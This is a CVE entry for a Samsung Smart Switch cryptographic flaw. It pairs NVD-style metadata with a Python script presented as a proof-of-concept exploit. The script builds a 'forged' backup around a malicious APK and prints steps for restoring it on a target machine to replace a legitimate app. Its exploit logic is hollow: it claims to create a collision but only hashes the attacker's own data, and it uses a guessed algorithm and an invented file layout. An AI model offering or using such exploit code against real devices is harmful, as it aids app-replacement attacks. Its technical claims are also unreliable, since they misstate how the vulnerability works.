CVE-2025-21062

# CVE-2025-21062 PoC - Samsung Smart Switch Cryptographic Algorithm Exploit # This PoC demonstrates the concept of exploiting broken cryptographic # algorithm in Smart Switch to replace restoring applications. import hashlib import struct import os # Step 1: Identify the weak cryptographic algorithm used by Smart Switch # Smart Switch versions prior to 3.7.67.2 use a broken/risky crypto algorithm WEAK_HASH_ALGORITHM = "md5" # Example: MD5 is considered broken def compute_weak_hash(data): """Compute hash using the weak algorithm exploited in CVE-2025-21062""" if WEAK_HASH_ALGORITHM == "md5": return hashlib.md5(data).hexdigest() elif WEAK_HASH_ALGORITHM == "sha1": return hashlib.sha1(data).hexdigest() def forge_backup_package(original_backup_path, malicious_apk_path, output_path): """ Forge a Smart Switch backup package by replacing the legitimate application with a malicious one, exploiting the weak crypto algorithm. """ # Read the original backup package with open(original_backup_path, 'rb') as f: backup_data = f.read() # Read the malicious APK to inject with open(malicious_apk_path, 'rb') as f: malicious_data = f.read() # Exploit the broken crypto: generate a collision or bypass integrity check # The weak algorithm allows us to forge valid checksums for modified data forged_checksum = compute_weak_hash(malicious_data) # Construct the forged backup package forged_package = b"" forged_package += struct.pack("<I", len(malicious_data)) # APK size forged_package += malicious_data # Malicious APK data forged_package += forged_checksum.encode() # Forged checksum # Write the forged backup package with open(output_path, 'wb') as f: f.write(forged_package) print(f"[+] Forged backup package written to: {output_path}") print(f"[+] Forged checksum ({WEAK_HASH_ALGORITHM}): {forged_checksum}") return forged_package def trigger_restore(forged_backup_path): """ Simulate triggering the restore process in Smart Switch. User interaction is required to execute this step. """ print(f"[*] To trigger the exploit:") print(f" 1. Open Samsung Smart Switch on the target computer") print(f" 2. Connect the Samsung device via USB") print(f" 3. Select 'Restore' option") print(f" 4. Point to the forged backup: {forged_backup_path}") print(f" 5. Confirm the restore operation") print(f"[+] The malicious application will replace the legitimate one") if __name__ == "__main__": # Example usage forged = forge_backup_package( original_backup_path="original_backup.ssb", malicious_apk_path="malicious_app.apk", output_path="forged_backup.ssb" ) trigger_restore("forged_backup.ssb")

{"cve": {"id": "CVE-2025-21062", "sourceIdentifier": "[email protected]", "published": "2025-10-10T07:15:42.333", "lastModified": "2025-10-28T15:39:51.143", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use of a broken or risky cryptographic algorithm in Smart Switch prior to version 3.7.67.2 allows local attackers to replace the restoring application. User interaction is required for triggering this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-327"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:smart_switch:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.7.67.2", "matchCriteriaId": "5D27227C-CA20-479D-9B1F-F0591FEFA6AC"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2025&month=10", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}